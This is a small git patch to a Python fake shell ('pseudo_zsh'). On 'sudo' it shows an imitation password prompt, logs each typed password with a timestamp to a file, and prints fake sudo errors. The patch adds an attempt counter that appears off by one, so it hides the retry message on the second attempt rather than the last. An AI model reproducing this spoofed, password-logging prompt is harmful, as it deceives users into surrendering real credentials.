From 811d6c5bfa82cbebd285714040534b96a1df6b0d Mon Sep 17 00:00:00 2001 From: HeXiangLong <3234374354@qq.com> Date: Mon, 7 Apr 2025 08:48:45 +0800 Subject: [PATCH] =?UTF-8?q?=E6=9B=B4=E6=96=B0=20main.py=20=E4=B8=AD?= =?UTF-8?q?=E7=9A=84=20sudo=20=E5=AF=86=E7=A0=81=E8=BE=93=E5=85=A5?= =?UTF-8?q?=E9=80=BB=E8=BE=91=EF=BC=8C=E5=A2=9E=E5=8A=A0=E5=B0=9D=E8=AF=95?= =?UTF-8?q?=E6=AC=A1=E6=95=B0=E8=AE=A1=E6=95=B0=E5=B9=B6=E8=B0=83=E6=95=B4?= =?UTF-8?q?=E9=94=99=E8=AF=AF=E6=8F=90=E7=A4=BA=E9=80=BB=E8=BE=91?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- main.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/main.py b/main.py index bc4e27c..80b9910 100644 --- a/main.py +++ b/main.py @@ -79,7 +79,9 @@ def pseudo_zsh(): if args[0] == 'sudo': flight1 = True + a = 1 for attempt in range(3): # 循环 3 次 + a += 1 fake_password = getpass.getpass("Password: ") if fake_password == "1234": print("20250910553 is not in the sudoers file.\nThis incident has been reported to the administrator.") @@ -90,7 +92,8 @@ def pseudo_zsh(): f.write(f"[{current_time}] {fake_password}\n") # 写入时间和密码 delay = random.uniform(0.5, 2.0) # 随机延时 0.5 到 2 秒 time.sleep(delay) # 模拟延迟 - print("Sorry, try again.") + if a != 3: + print("Sorry, try again.") if flight1: print("sudo: 3 incorrect password attempts") # 提示错误次数 continue